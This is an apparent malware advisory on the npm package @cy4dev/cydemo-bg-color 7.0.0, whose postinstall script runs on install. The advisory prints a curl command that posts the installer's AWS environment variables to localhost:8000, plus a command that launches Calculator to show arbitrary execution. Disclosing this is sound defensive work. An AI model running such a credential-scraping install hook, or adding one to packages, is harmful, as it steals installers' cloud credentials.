Malicious code in @cy4dev/cydemo-bg-color (npm)

The npm package @cy4dev/cydemo-bg-color version 7.0.0 ships with a malicious postinstall lifecycle script (src/postinstall.js) that executes automatically at npm install time. The script contains two shell commands executed via node:child_process.exec.\n\nThe first command, curl -X POST -d \env | grep AWS` http://localhost:8000, enumerates all AWS_*-prefixed environment variables from the installer's shell and POSTs them as the request body. This implements a credential-exfiltration primitive targeting AWS credentials in the installer's environment. The second command, open /System/Applications/Calculator.app`, launches a GUI application on macOS, demonstrating arbitrary host-shell execution capability.\n\nThe package advertises itself as a DOM background-color helper utility, and the postinstall behavior has no legitimate build or runtime purpose consistent with that description. In this specific version, the exfiltration destination is localhost:8000 (loopback), so credentials do not leave the host, but the credential-scraping and arbitrary-execution code paths execute unconditionally on every installation.\n\nThe malicious code was identified by Amazon Inspector and credited to the OpenSSF malicious-packages project.